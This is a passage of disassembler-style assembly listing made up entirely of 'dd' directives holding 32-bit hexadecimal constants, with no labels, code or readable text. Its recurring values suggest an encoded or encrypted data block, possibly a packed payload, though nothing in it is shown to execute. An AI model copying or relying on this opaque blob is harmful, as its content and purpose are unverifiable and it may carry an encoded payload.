		dd 1976916h, 52156688h,	321574ACh, 0FB2A6322h, 9F334D9Dh
		dd 0FBBE8993h, 0F63EE24h, 6D78EB3Dh, 321572F8h,	0F5D3388h
		dd 12317E75h, 47BBD050h, 66E7AF4Ch, 972AB7E4h, 0B7980723h
		dd 35F55FDAh, 321EE81Eh, 54756688h, 545CB6FDh, 496BA4A3h
		dd 52C59970h, 4B8EDDEEh, 0B846DF22h, 3E90EF43h,	3D1281C7h
		dd 3215670Dh, 8F969344h, 35F56277h, 81916911h, 0DB15668Bh
		dd 3215664Dh, 1E7C85Fh,	27E936A2h, 0BFAB0616h, 8D147FA4h
		dd 52D8883Ah, 6B90A070h, 7412868Fh, 321DEF4Bh, 3D756622h
		dd 3215669Bh, 37D0788h,	0C7EFF08Ah, 3214E42Dh, 0CDE06611h
		dd 0D23A673Dh, 3E9D6943h, 3D156622h, 3215609Bh,	32976988h
		dd 0C7156644h, 0BEDE3AFh, 26FC61F1h, 50156688h,	0F9DEB395h
		dd 0B4C26993h, 0AE2B44DAh, 0E86AB7A4h, 0CD109BD7h, 32108FF2h
		dd 4FFD6611h, 0BB7DBF82h, 0D5C30EC1h, 0B7D39A25h, 35F56148h
		dd 0B37306CEh, 0DBC651A5h, 32156624h, 0CEEF7408h, 5A74B0EFh
		dd 0CEB25C92h, 33A099D7h, 3D12863Eh, 32156C01h,	0BF1A0644h
		dd 32156622h, 3D740771h, 32156704h, 0B7989344h,	35F55FDAh
		dd 32156AF8h, 0E6D92D88h, 0AA109AA4h, 1516BAE8h, 3DC5998Fh
		dd 32156A06h, 34906944h, 3D156622h, 3215669Eh, 4A90EF88h
		dd 52128192h, 32156CCBh, 5A657511h, 193FCDF2h, 54BF1570h
		dd 870485A3h, 32188F70h, 745D6688h, 7E55744Bh, 4B5256CBh
		dd 0F4FD9C77h, 0D2123F0Dh, 5AE92043h, 0A0E9C222h, 3218EF1Eh
		dd 3AFC6688h, 0C7156644h, 26FA9863h, 0CD7BE0C1h, 0D23A673Dh
		dd 0B91A0643h, 32156620h, 0BDA28C9Bh, 339669E9h, 0CE156644h
		dd 0BEDE3AFh, 34FC61F1h, 0CB156688h, 9D07AA4Dh,	3DC59981h
		dd 3215619Ah, 0B3730688h, 536559ABh, 0E469E3ABh, 0B81A61F6h
		dd 32156684h, 3213E44Bh, 0BA1A6622h, 32156611h,	354CE34Eh
		dd 525361A4h, 3200EC2Dh, 3DFD6611h, 40156688h, 63B32F4Ch
		dd 72D1A4C5h, 5844F59Fh, 3D4DEC28h, 32157ECFh, 32068F22h
		dd 0E2846611h, 0C347C815h, 7C0BEFBDh, 53A36988h, 0ABF9CC3Ch
		dd 587D07D9h, 52E3B20Bh, 8A2BDA3h, 851A1028h, 87EA0748h
		dd 35F54945h, 3200E32Dh, 22FC6611h, 6E156688h, 4257F7C4h
		dd 1071EC23h, 610473C0h, 0BFFFBBCDh, 0D22C9EC1h, 33976925h
		dd 0CE156611h, 8975B677h, 2FB821F7h, 0ABEA159Dh, 0B79C072Eh
		dd 35F2B008h, 32156CADh, 649C4722h, 28A27801h, 3D906A9Dh
		dd 321568C3h, 0D5940622h, 103C671Fh, 3215EB87h,	0F4746644h
		dd 0D2123FA7h, 5AED2016h, 0A6D8366Fh, 321DE54Bh, 0BA1A6622h
		dd 32156613h, 87EA07E8h, 35F54945h, 339869DBh, 0CB156611h
		dd 0BEDE305h, 547561A4h, 0FCBADA3h, 5391A991h, 3CFCB677h
		dd 0AE156644h, 9984FD43h, 0CA4099AAh, 9AF40F69h, 0B79C9AA8h
		dd 35F2B04Eh, 0A703D871h, 694633E3h, 6B90A025h,	74128625h
		dd 32156AF8h, 0D7A4E788h, 0A37E2805h, 0FABF87B9h, 0A7AC064Ah
		dd 8A317622h, 63B2F6D1h, 462E0E43h, 0BE1AD733h,	3215668Eh
		dd 52CFED24h, 87EA0743h, 35F54910h, 321FE887h, 37FC6644h
		dd 8156622h, 0B26C6FFDh, 0BEDE305h, 3DFC61A4h, 0F1156622h
		dd 31856E32h, 83321A73h, 0B73F0317h, 0E2EA1AF5h, 3214EA1Eh
		dd 0DBED6688h, 32156656h, 620E06D0h, 6F88DF65h,	0F8C29529h
		dd 0A9F4DC55h, 0B79C9F33h, 35F2B061h, 32156B61h, 2167144h
		dd 32D82F73h, 89F66198h, 0F4EC2FFFh, 0D2123FC1h, 0B41A2025h
		dd 32156614h, 0F49E00E8h, 0D8F80E25h, 0CDECB95Bh, 0D23A67A4h
		dd 0B7989F8Fh, 35F55FBCh, 3AFC0642h, 0E0156611h, 3D40721Ah
		dd 0B2364FEFh, 0DB74D7EDh, 32156603h, 3F4D6F9h,	7BBB6450h
		dd 0EA58AEFEh, 3790F60Bh, 0CD742D3Fh, 0CAA60694h, 53E2D92Dh
		dd 4690EFE8h, 3D12815Eh, 32156BC9h, 321D8F22h, 0A17C6611h
		dd 0C90A5D32h, 8F96D85Ch, 35F56673h, 89906911h,	52156688h
		dd 26D706FEh, 32058E59h, 89686611h, 0C2726011h,	661F40AAh
		dd 0E2D52246h, 3EFD7C83h, 0C7156688h, 0A18B9069h, 0CA968643h
		dd 6C97F21Eh, 0B7D307D7h, 35F5611Dh, 0B71A9F71h, 32156601h
		dd 32156D61h, 9A568E44h, 0E5CC65ECh, 0F6F817B1h, 8CF538E0h
		dd 0D795068Ah, 7F8EDDCBh, 0CD744A39h, 0D23A673Dh, 0B7989E43h
		dd 35F55FDAh, 321574F8h, 2A4E7788h, 0B1CF695Ah,	0A6ACBB18h
		dd 3047BF15h, 0CDB7BC04h, 32018F94h, 0A64F6622h, 5B9F623Eh
		dd 0E0B651CCh, 0ADED1506h, 2ADB09CDh, 0B21ACE0Ah, 32156689h
		dd 2290EFB1h, 0DB1281F4h, 3215661Fh, 0E058286h,	4FD5A147h
		dd 3B4B63B0h, 0B7D3A9DAh, 35F561D1h, 0B57D9F03h, 0DBD2D77Ch
		dd 32156616h, 296BE84h,	0CD011D95h, 0D23A6797h,	32068F16h
		dd 9A556688h, 0D64AD081h, 3B7721B1h, 0B23CD0D6h, 3F90AEACh
		dd 0CA90EBFEh, 3D12861Bh, 32156194h, 33976988h,	0CA156644h
		dd 0BBECB6DDh, 0D5C37294h, 0B3759A8Fh, 0EC04DC9Ch, 321C8F63h
		dd 0AD386611h, 9CD45402h, 534EC54Ah, 3244DBA1h,	3D1561F1h
		dd 3215FA0Dh, 0B7D39E44h, 35F5617Bh, 35976956h,	3D156688h
		dd 321567CFh, 377D9322h, 0DBF3046Fh, 32156682h,	1B75D6CEh
		dd 0CFEB138h, 87EA1E3Ah, 35F54989h, 32078F24h, 44806622h
		dd 93BF2651h, 6ECF484Ah, 84FA5685h, 0EA8EC4A3h,	0CA90EB70h
		dd 521286B1h, 0DAC7D94Bh, 3215662Dh, 472F0DA8h,	830C18C9h
		dd 554562A9h, 0C74FD3C8h, 23FC074Ah, 97156688h,	0ABB465D2h
		dd 8E99EADEh, 0B22FCA3Fh, 0D6E1447h, 0BBECB6BBh, 0D5C37EA7h
		dd 321A8F16h, 0D6176688h, 53C9150h, 0F37BE5CCh,	0E8EDEEC3h
		dd 6B90A00Eh, 71128643h, 21ADDE42h, 0F795029Ah,	0C47D07B1h
		dd 0CA871C4Dh, 1D14D3DDh, 0BFE961F1h, 0D22C9E0Dh, 32128F43h
		dd 5A76622h, 448B6C0h, 0DBC59998h, 3215664Bh, 4A4307D3h
		dd 4C5532A7h, 872DFA82h, 0DB82BB64h, 32156627h,	8082195h
		dd 2E90EFBFh, 0DB128192h, 32156624h, 7C5483A0h,	0B7D3F7E3h
		dd 35F5611Dh, 359F6961h, 3D156611h, 3215670Fh, 127D9A44h
		dd 0DBE947B5h, 32156601h, 51F7D8Ah, 51C42E5Dh, 848145CDh
		dd 0A80671D9h, 1D14D377h, 0B91A61A4h, 32156632h, 32156DF8h
		dd 0FB0DDA88h, 0BEFEFB23h, 0E7C2926Fh, 0BEDE39Ch, 0CDEC6168h
		dd 52EC0694h, 82C5E744h, 0A1DBE696h, 0B79C07E9h, 35F2B064h
		dd 3DDEED42h, 3215659Eh
		dd 76F2E688h, 63A8E525h, 32128622h, 32C1E31Eh, 37FC6688h
		dd 0BA156644h, 0B02518E4h, 354CE3D7h, 0CE566168h, 32BD652Ch
		dd 0B97306A9h, 87EA07CFh, 35F54989h, 32156BADh,	295CB122h
		dd 283D07DAh, 2A5BFA88h, 0B798F8DFh, 35F55FDAh,	0CAC599E8h
		dd 0E43DE301h, 38FC61A3h, 9156622h, 0C0C22DA1h,	0D8A48A8Ah
		dd 6B90A01Bh, 71128625h, 249B69E8h, 3D156688h, 321576C8h
		dd 321E8F22h, 12416611h, 49D6248Ah, 2272804Ah, 4C00EFBh
		dd 0CDED834Ah, 0D23A673Dh, 32058F43h, 80446622h, 0B53A4BB5h
		dd 0A59E0E6Fh, 301E2249h, 0B798A8E9h, 35F55FE9h, 0E2EA9A70h
		dd 32156BADh, 0DB7CDF22h, 8F8D785Ah, 55C9E81Bh,	0B79C56B2h
		dd 35F2B006h, 3201EB1Eh, 0CB756688h, 32156AADh,	0DE179422h
		dd 3A4A8CA0h, 7116BE04h, 0B7D30711h, 35F5617Bh,	0BF1A0652h
		dd 3215668Ch, 4541DF22h, 0FEE6E744h, 0CE7507C1h, 0F182F732h
		dd 0D37D0734h, 0DBFFCC10h, 32156617h, 0A2EBAE5Fh, 87EA7CBDh
		dd 35F54923h, 0CA90EBEDh, 521286B1h, 0B31A3DF7h, 32156626h
		dd 2847DD77h, 0DBC599E9h, 32156656h, 4C9D1E8Ah,	0B340A893h
		dd 7A00984Fh, 8349CC39h, 0B79C7FD8h, 35F2B03Dh,	32157261h
		dd 30040444h, 0A45397ABh, 709CF3BFh, 9BFB3B30h,	0CFDA77BDh
		dd 339969CBh, 0CA156611h, 354CE34Eh, 525661A4h,	32156ACBh
		dd 9F066611h, 0AD94DB2Eh, 6E36917Ah, 0F5A2699Ah, 33936970h
		dd 0CB156688h, 0C3B9512Ch, 3E9469A6h, 52156611h, 3215E787h
		dd 8A736644h, 0CD74331Ah, 0D23A67A4h, 32108F8Fh, 410C6644h
		dd 0BFACDC5Bh, 0D22C9E94h, 399F698Fh, 0DB156644h, 32156624h
		dd 464DDC4h, 0E2EA1394h, 0FD9E0024h, 0A2F4E674h, 0B79C074Bh
		dd 35F2B0B8h, 3219EA4Bh, 0BA1A6622h, 32156617h,	3215ED87h
		dd 0B7D36644h, 35F5617Bh, 321E8F5Eh, 15C76688h,	429A1BF3h
		dd 22CD9536h, 0A2C10E91h, 3DE0F1BDh, 321573CCh,	32058F22h
		dd 17126611h, 0A72FED05h, 7EB81B9h, 0BDA4BE6h, 87EA4294h
		dd 35F54989h, 321576ADh, 0CB6AA022h, 0D2B3808Eh, 6062D8D6h
		dd 47732CA4h, 32188F87h, 0FC206611h, 0A338788Eh, 0FAB87381h
		dd 0BFBF2F96h, 0D22C9E94h, 321A8F8Fh, 82216644h, 0AC210EC8h
		dd 839D3750h, 0C58EE9A6h, 0DBC599B2h, 32156636h, 0BEF443E2h
		dd 76830ACBh, 0DEA8F5DEh, 0F900B578h, 41162E9Ah, 3204E087h
		dd 3EFC6644h, 0E4156622h, 0FE14BC14h, 4E902702h, 0BB0C0F4Dh
		dd 0D5C352A7h, 0B7D39E16h, 35F561D1h, 2F98690Bh, 52156622h
		dd 38882BAEh, 32048FBDh, 4DE36644h, 9F397E8Bh, 0FCE3BBE8h
		dd 38AE1E89h, 539C7D93h, 5C1B644Ah, 87EA93E8h, 35F54989h
		dd 38FC9A24h, 0E3156622h, 59BA0CE7h, 0B1E64B68h, 0B7980719h
		dd 35F55FDAh, 3214E71Eh, 0CDEC6688h, 0F59E0694h, 53D2ED44h
		dd 0E42DE398h, 3AFC616Fh, 0F0156644h, 5CCAA45Ah, 0F4E9AEF4h
		dd 0D2123F0Dh, 20FC2B43h, 3F156622h, 1542F253h,	0A72964AAh
		dd 6390B22Bh, 27346FE6h, 339769F0h, 0CB156688h,	56C2F2Ch
		dd 32068FEAh, 65F36611h, 0D1F74E91h, 9FC25AE0h,	7D946B20h
		dd 274107AEh, 33A099AEh, 0DB12866Bh, 3215662Dh,	0DDFD64C7h
		dd 78A115D6h, 0D58BC4C6h, 0BF2CF42Bh, 0D22C9E94h, 37AD068Fh
		dd 53196E26h, 321FE42Dh, 60756611h, 329469D7h, 53156644h
		dd 5475B6DDh, 3DC3E3AFh, 32156005h, 0E2C2E744h,	534E21CDh
		dd 0E455E398h, 0B51A616Fh, 32156645h, 6B90A0DAh, 7F128616h
		dd 3204E087h, 3EFC6644h, 93156622h, 5879B1E4h, 57CB0DB5h
		dd 5A1C76B3h, 0EEE22BABh, 33A099E8h, 3D1286A7h,	321567CEh
		dd 0B7989322h, 35F55FE9h, 32156161h, 94BE3044h,	0EAF99D31h
		dd 3AFCB6EEh, 0BE156688h, 0BD59D8A1h, 0BBAF714Bh, 0D5C35A94h
		dd 32128F8Fh, 0AD376644h, 0A9861E8Bh, 6B90A09Ah, 6712868Fh
		dd 1F220EBDh, 0BF1AFA39h, 32156610h, 0D7AC0670h, 5443F11Eh
		dd 286DBCA3h, 33A09970h, 3D1286A7h, 32156DC2h, 32138F22h
		dd 89336611h, 485B8860h, 0BEDE3C9h, 0CDE961C2h,	2C9A69C1h
		dd 3D156688h, 32157ECBh, 32068F22h, 21796611h, 0ABF24811h
		dd 0FF6C8ACEh, 82C85D12h, 0FC99304Ch, 3C9C6977h, 0DB156644h
		dd 3215662Bh, 659FF431h, 0C39BA845h, 7690EF19h,	521281F4h
		dd 321568F9h, 75288888h, 825DC4B8h, 0D1DAB13Ch,	0DAB7AB92h
		dd 32156684h, 0D08077BBh, 0B3D9E06Ch, 0E2C0F209h, 0D2943ED7h
		dd 60EDD70Eh, 6B90A043h, 71128616h, 32156061h, 0D3C81444h
		dd 3DE2F376h, 3215679Eh, 187D9E88h, 52C7B3B4h, 8ADDE642h
		dd 53740771h, 33A09970h, 0DB12866Bh, 3215662Ah,	7A562E5Ah
		dd 603174A3h, 4AAE0024h, 321B8FA0h, 79786611h, 8BF7087Ah
		dd 0F2DCAD07h, 27F1EF4Dh, 0CA90EB70h, 521286B1h, 8C7388CEh
		dd 0CD74AFA6h, 0B79C9EC1h, 35F2B0C0h, 329D6924h, 54156622h
		dd 0F474BC9Ah, 0D2123F0Dh, 0B9753443h, 0EDAA69FBh, 86FF0E70h
		dd 3FFC9BCAh, 8A156644h, 8B815AD1h, 0EDA0F76Ch,	80BF5533h
		dd 1D14D3BBh, 0B91A61C2h, 3215660Ah, 3200E087h,	22FC6644h
		dd 73156622h, 48739FD5h, 0A16CDCB1h, 6A14C8CEh,	0BFCA4F8Dh
		dd 0D22C9E94h, 3F98698Fh, 0DB156644h, 3215662Ah, 9CD03623h
		dd 50C21D02h, 0BBEDB6BBh, 0D20D4BA7h, 64E00616h, 0F756E636h
		dd 0F4743F19h, 0D2123FA7h, 3AFC2116h, 2B156688h, 7EA72F48h
		dd 5A7AFBE1h, 0D08D3F88h, 0C79534E8h, 3FFC39F7h, 0B6156622h
		dd 0FE5116CEh, 0C2DE1A77h, 6525BF06h, 33A09943h, 5212863Eh
		dd 32156961h, 7B8EDF44h, 2F84385h, 0BA2B108Ah, 0D3A1C67Ch
		dd 0DB748ECEh, 32156631h, 0AC2AC225h, 48E9672h,	2D26F8D2h
		dd 0B43DBB41h, 0BFF91567h, 0D22C9E0Dh, 0B61A0643h, 32156622h
		dd 3213E91Eh, 0FB946688h, 146125A1h, 0DBC59943h, 32156601h
		dd 0C4F5E807h, 166049AFh, 1C76BCCDh, 46574BD8h,	0E459E301h
		dd 23FC61A3h, 0C6156622h, 73CFA3A5h, 92C6117Dh,	4C2CA019h
		dd 5CD524E3h, 31956971h, 0B2156688h, 0BAF7E9Eh,	53601E81h
		dd 354CE3D7h, 0CB526168h, 0CF75A42Ch, 33936993h, 0CA156611h
		dd 1D14D377h, 0B51A61A4h, 32156623h, 0CA90EBE8h, 3D1286B1h
		dd 32157FCBh, 219D6922h, 0DB156611h, 32156686h,	2AD5DADAh
		dd 2A96A6AFh, 27BAD2A7h, 0E2EAD747h, 6290EFB8h,	0DB1281F4h
		dd 32156603h, 40C1B02Ch, 60D4786h, 7EA3866Ch, 0E18A6A16h
		dd 0B7D3C680h, 35F5611Dh, 2B9C6965h, 52156611h,	22FCBA3Ch
		dd 0EE156644h, 9367EB60h, 6810FEBh, 879D53E2h, 539BBC34h
		dd 0CC010EDAh, 3FFCB9B7h, 95156688h, 8ADB296Eh,	87888FBh
		dd 14149276h, 1D14D377h, 21FC61A4h, 0FE156622h,	593F0D98h
		dd 7AB1C9D5h, 3874BBB6h, 0D631C97h, 0B798BB21h,	35F55F70h
		dd 3204E24Bh, 3EFC6622h, 0D8156611h, 31F76EBDh,	0B03E3E49h
		dd 0CDE3ED5Bh, 369169C1h, 52156688h, 0BB743C17h, 0D5C332A7h
		dd 0B7D39316h, 35F561D1h, 5475061Bh, 7AAFA9A9h,	532EA343h
		dd 0FAAA69D9h, 5A7D071Eh, 528B36D0h, 884A3671h,	61D749FFh
		dd 32068F25h, 9A466622h, 0C3D7C46Fh, 6BC41841h,	0DD53CEAFh
		dd 244DC44Eh, 87EA073Bh, 35F54989h, 0CA90EBB1h,	0CA12861Bh
		dd 0DA75B6EEh, 32156680h, 1E8A1938h, 0EDE9F428h, 0B94CF2A0h
		dd 0B79C075Eh, 35F2B01Ch, 32156ACBh, 73CAFD11h,	7D719B88h
		dd 0D2784A9Ch, 6B90A0BDh, 7D128616h, 321DE687h,	0B31A6644h
		dd 32156620h, 0D7D0771h
		dd 0CBD29AF3h, 1D14D3BBh, 547561C2h, 69EDBD90h,	3D749703h
		dd 321568C4h, 0DC940622h, 5E30E5EBh, 3215E087h,	0BF746644h
		dd 0D22C9EA7h, 32128F16h, 1A4B6688h, 97148335h,	52C599EBh
		dd 9B8E22AFh, 9EAE00CDh, 0B79C0756h, 35F2B0A6h,	32156BF8h
		dd 4E578388h, 0DBE358F8h, 0CF3FEB28h, 0B7D3E307h, 35F561D1h
		dd 3DFC0603h, 9A156622h, 0D30C280Eh, 0DC1F66B0h, 0B305D5Ch
		dd 0D99F4B71h, 5C590E70h, 0CDE09CD3h, 0D23A67F1h, 0B7989325h
		dd 35F55FE9h, 0DBC5997Dh, 32156642h, 0AE552463h, 0B79C919Fh
		dd 35F2B000h, 321560ADh, 0C83B22h, 0F429B65Bh, 0D2123F0Dh
		dd 0BA1A2143h, 3215662Ah, 3217E31Eh, 53756688h,	3431AB2Ch
		dd 32108FE1h, 6F086611h, 0DB2847A9h, 32156643h,	3A575F10h
		dd 0CDDBFE28h, 0D23A673Dh, 0B01A0643h, 32156620h, 0C7743943h
		dd 0BEDE305h, 0DBE061A4h, 32156636h, 7541AD11h,	0C83C66A5h
		dd 559C4665h, 0A400A2FFh, 844DA4E2h, 23FCB677h,	21156644h
		dd 0B2D6E71Bh, 3A34342Fh, 0CBA3F126h, 0C1259394h, 0E499E3ABh
		dd 0DB7561F6h, 32156683h, 0F9512B18h, 0F00E1C1Ah, 8D8AD5E1h
		dd 1318C3A3h, 6B90A025h, 6D128625h, 321577F8h, 0FBC7EE88h
		dd 80C3FC5Dh, 988892C1h, 0ECFE51EDh, 0FE7DDE6Dh, 0C7C1DD24h
		dd 1D14D3DDh, 0B61A61F1h, 32156689h, 0CA90EBB1h, 3D12861Bh
		dd 3215609Ch, 0F89E0688h, 0CD74D1F1h, 0B79C9AF2h, 35F2B04Dh
		dd 32156A61h, 5411ED44h, 125F44FDh, 0F6708B09h,	6B90A0D5h
		dd 6D128643h, 399F6942h, 0DB156611h, 3215668Eh,	192FBFD8h
		dd 0DA9FE286h, 665B0E70h, 3CFCF861h, 0CD156644h, 0A0F96B1h
		dd 1C373D82h, 0B6B78672h, 33A099CDh, 5212860Dh,	32156AF9h
		dd 0A3C53388h, 0FC853B36h, 73C79699h, 32128EACh, 9B276688h
		dd 0C8C87371h, 544F3E9Fh, 5274A09Ah, 32157260h,	548E6644h
		dd 0F6FB5846h, 0C9B7477Dh, 1960A235h, 0FD299AEDh, 634A9E5Ch
		dd 6AA8B891h, 0CA90EBE9h, 3D12867Dh, 321567ABh,	0E2EA9A11h
		dd 320DE887h, 0DB756644h, 32156632h, 5D4BD510h,	7CD6C10Fh
		dd 0B2337271h, 2D967359h, 0B79C07E4h, 35F2B0E8h, 6B90A0B8h
		dd 6D128625h, 321572F8h, 0E2C3AE88h, 0D87F856Ch, 748702D8h
		dd 0E9B9E3E0h, 7BFEAED2h, 1A5D0E93h, 3EFCB731h,	0A7156611h
		dd 37BBA030h, 80E291E6h, 0CD52FF78h, 0D23A67A4h, 0BF74068Fh
		dd 0D22C9EC1h, 0CDEC9325h, 2B9B69C1h, 0DB156688h, 32156650h
		dd 0B0F8293Dh, 0EE629E8Ah, 0A14D8336h, 0D99FD83Fh, 5949C221h
		dd 0E471E398h, 0BC1A616Fh, 32156643h, 0A033D942h, 0DB747563h
		dd 32156680h, 0BBACAEDCh, 2FF5DDFCh, 5AE9627Bh,	32157688h
		dd 22150EBCh, 58ED6622h, 0B91A0611h, 3215668Bh,	0B33EBCC4h
		dd 0CCB1B1F9h, 0DA75075Dh, 32156685h, 71EF85FCh, 5C08B520h
		dd 0F6C136AAh, 0B24D93EAh, 0CD74EE94h, 0D2122FB7h, 0B79C9316h
		dd 35F56EC5h, 9090EBB1h, 0C7128186h, 321575F8h,	20144E88h
		dd 70E901F6h, 88E8C04Fh, 0F2B5E6D4h, 0F8946814h, 26FCB6BBh
		dd 90156622h, 0E980B6C8h, 45979705h, 7A9C0DC2h,	30DE4003h
		dd 5839F61Ah, 3E90698Ch, 3D156644h, 321560ADh, 32936911h
		dd 5A156688h, 32157644h, 8D56D942h, 5A74636Fh, 32154688h
		dd 53C2ED24h, 32156DCBh, 8D3F1111h, 0EA0F769Ah,	2F117E55h
		dd 0B41A6648h, 32156610h, 7B809970h, 52128643h,	51B8DD44h
		dd 7CF1E643h, 0B79C07D2h, 35F57225h, 321CE62Dh,	87756611h
		dd 0C18DF7Ch, 0BB747CD6h, 0D20C9FA7h, 727F9E16h, 22150E71h
		dd 22FC6644h, 0C8156622h, 28C5FECAh, 0A50AA190h, 0B3F99475h
		dd 5A5DC61Ah, 32146611h, 0B01A0671h, 32156642h,	0DAF396A3h
		dd 5874413Bh, 3E9C6988h, 0DB156644h, 32156625h,	728B43DFh
		dd 0CDCCB150h, 0D2122FD1h, 321A8F25h, 4D636611h, 0BB10A9A1h
		dd 0B0983416h, 0DDAA3BD9h, 8B90EF1Eh, 52128688h, 321568ADh
		dd 71614422h, 9B846FC5h, 368A4162h, 52C798BEh, 52EAB5A3h
		dd 6C453F08h, 879E07E9h, 35F57861h, 3A9269DEh, 52156611h
		dd 9649DCEEh, 0B97416F4h, 0D2300FBFh, 3DFC0616h, 0B6156688h
		dd 2FD41525h, 9B55B3E6h, 3F22385Ah, 22FD6F6Ch, 24156644h
		dd 4654AD19h, 0C97B3B29h, 0D0AB4571h, 543C526Dh, 1E0187A3h
		dd 52750749h, 0B41A07E8h, 32156644h, 32068F43h,	94F56611h
		dd 5EE2AC2h, 7D87A964h,	6F5B7DE4h, 0D676FE85h, 879C079Fh
		dd 35F57D89h, 5388EFDBh, 0DB12860Fh, 3215668Dh,	0B88151DBh
		dd 5B88EDBBh, 0CB128634h, 0B3269970h, 3F624270h, 3E9E5BF8h
		dd 36D1E535h, 3F629709h, 0B1ED5B9Eh, 0B61A66DBh, 32155F32h
		dd 3200E087h, 22FC6644h, 2B156622h, 5579E4B5h, 1CEC5ACEh
		dd 0DAAF6843h, 5A2BD295h, 32150198h, 0CE316201h, 0B3F7EF16h
		dd 321562E0h, 36FFE711h, 0B5156688h, 0BB494250h, 0B21A422Eh
		dd 32156617h, 0B8DBEDE8h, 527507BCh, 3204ED2Dh,	39FD6611h
		dd 0F6156688h, 0B17887D0h, 389428D5h, 0CA4B90C4h, 3DD557E9h
		dd 321567CFh, 0B79C9E22h, 35F54F50h, 323DEA87h,	0DB756644h
		dd 3215662Dh, 1B78B1EDh, 8F7F8A65h, 4586B279h, 0DAA269B3h
		dd 3215661Dh, 0F669CC95h, 0A6DAD40Eh, 0D38305E0h, 5A40074Eh
		dd 5E6F61A3h, 3AF8A719h, 4BDE8BA3h, 0DC9C667Dh,	0B3314A03h
		dd 32156280h, 0F4949F22h, 61EB51FCh, 312A009h, 46166B2Fh
		dd 0DC944606h, 3F7E5716h, 5F88809h, 22FC35BAh, 23156622h
		dd 0B5FD0CB8h, 0EE983ACEh, 8B17768h, 5489ADEAh,	3AFC06BCh
		dd 92156688h, 62DB7199h, 54D5BAE3h, 1A0EBE90h, 65FB4BE9h
		dd 76166655h, 8D424606h, 320431FFh, 0CB4A9E89h,	0BB118AC7h
		dd 4AAC422Eh, 33156611h, 6B24ED49h, 321574ADh, 4EA55022h
		dd 88B1F79Bh, 0BB8A248Eh, 0D3447EF0h, 0B3733B22h, 4C32B0FFh
		dd 166165B1h, 0E4AF3464h, 332C1805h, 0B71A3CC7h, 3215669Fh
		dd 0DBCDD424h, 3215662Ch, 3A3A8E53h, 0F1DDC4F4h, 4CD7B77Dh
		dd 0CD743736h, 0E9E7E67h, 36D1E7ACh, 3D156644h,	32157BA4h
		dd 0B9730611h, 32068F73h, 2DBF6644h, 35226E72h,	6109F2E0h
		dd 63C16D2Eh, 0A2DB3161h, 8F9C070Bh, 35F577F0h,	3DEAE371h
		dd 32152FC1h, 39936922h, 0DB156611h, 3215668Eh,	948F2F80h
		dd 0DAEDB3CEh, 3215077Fh, 32156161h, 861A7E44h,	52BC31D4h
		dd 3210F8F8h, 21FD0688h, 90156644h, 4CDC97E0h, 9AFE3FC0h
		dd 907989CEh, 5A3F701Ch, 5375D756h, 53750649h, 0D67D07E9h
		dd 0BB156658h, 0B11A422Eh, 32156610h, 8847317Dh, 6E810992h
		dd 36313213h, 0C0943C4Bh, 6E81095Eh, 3212E64Bh,	0B51A6622h
		dd 32156610h, 36C70D7Dh, 32156EADh, 0F10B6222h,	6715CFA6h
		dd 32138F6Bh, 8B4A6644h, 0F427E784h, 2C44F398h,	58ED6168h
		dd 26FC9E40h, 86156622h, 0C8B98807h, 0FA5C345Eh, 4AF0F8F4h
		dd 361F107Dh, 5ADBD216h, 32157688h, 3214ED4Bh, 5AE96622h
		dd 32156A4Ch, 52317201h, 711FACC5h, 0B9734BC3h,	327F07CEh
		dd 37D6E7E8h, 5455F9F2h, 3D74A1A9h, 32157499h, 32188F88h
		dd 3286644h, 4035423Ah,	6F60C8A7h, 0CD419441h, 0D2122FD1h
		dd 0B79C9F25h, 35F57538h, 32156B61h, 0B5754844h, 4EAF5C2Ch
		dd 4B675365h, 0B945BD93h, 0F6944250h, 32156626h, 3214EA1Eh
		dd 0CDE06688h, 0B14C4270h, 22FC62E6h, 4B156611h, 4541DDEAh
		dd 0F4728ADCh, 95094EC1h, 0DA392FCFh, 321506B2h, 32198F24h
		dd 0AAD6622h, 45611030h
		dd 44345E30h, 0CE741130h, 0B3F3EF74h, 321562D7h, 36FBE588h
		dd 6E3152C3h, 0DB3152ABh, 3215661Eh, 10A6C35Bh,	4A892C92h
		dd 540E782Eh, 9F248EF5h, 32156E61h, 0CBE56E44h,	0D06F5F98h
		dd 76FC4B5Ch, 2D100F99h, 3157AA46h, 1F314266h, 70D9640Eh
		dd 23518F8Dh, 3393692Dh, 0CA156622h, 0BB118A92h, 6A42428Ch
		dd 3B94691Bh, 52156622h, 0A2CCE777h, 537406A0h,	0D3AF3413h
		dd 3200317h, 68114245h,	0D3E6E7D3h, 3D200371h, 321573A6h
		dd 32058F11h, 63A06688h, 0B1C28450h, 0B54A2903h, 6B266646h
		dd 0BB45A3BDh, 321163A4h, 0DA966622h, 1611E115h, 1629EFD4h
		dd 0C9CCE624h, 32156CCBh, 0AC9D7E11h, 10D438C5h, 53A39CC8h
		dd 8875A612h, 7F5D7E33h, 3919DFEEh, 0CF60C825h,	321575CBh
		dd 72DD9F11h, 1605AEAh,	0E1533278h, 0D502CA63h,	337A6EA9h
		dd 3210EC87h, 3D756644h, 0B9749F9Dh, 0BB404225h, 36D0E76Dh
		dd 0B1156644h, 1E9262E7h, 35FC3A35h, 156688h, 67B53D3Dh
		dd 8847B9A1h, 49642D8Dh, 0F31D8C49h, 0F89460A6h, 714B58A9h
		dd 0C094BCE6h, 0C4B0E673h, 1B4FB145h, 0FCFAE7FDh, 3D43E210h
		dd 32156708h, 0B67D9E44h, 0BB156615h, 0B91A4205h, 3215669Fh
		dd 321574ADh, 9F781522h, 0B9BDB041h, 0B24C02DFh, 8DC85EB0h
		dd 6414B84Dh, 0C09C9898h, 0B3315203h, 32156280h, 32128F22h
		dd 0D1F46611h, 66FBA865h, 3A90693Ch, 52156622h,	3215E91Eh
		dd 0B9746688h, 0D21D2BF9h, 2A9D6925h, 0DB156611h, 3215669Bh
		dd 0EB583D40h, 0B38F848Bh, 0ABA045CFh, 9CC104A0h, 8B5F21AFh
		dd 0CDEA99DDh, 321577F8h, 0B06FBF88h, 8A3D79B6h, 0D656A241h
		dd 0BF729FE6h, 0F2247F4Dh, 33956924h, 0CB156622h, 32AF3470h
		dd 33156688h, 0B917ECB6h, 0F6964236h, 0C09E0615h, 7E6E7EEh
		dd 0B61A07E5h, 32156627h, 0C19E0071h, 3DDD56E9h, 321567C2h
		dd 8B449E22h, 0CDEA99EEh, 0DB4CA8A1h, 3215664Bh, 0D4DC6F3Eh
		dd 2B1767A9h, 0A6B374A5h, 0CDC9712Fh, 369EE116h, 36D1E535h
		dd 320EEC87h, 0BA1A6644h, 32156637h, 321576F8h,	5AB67388h
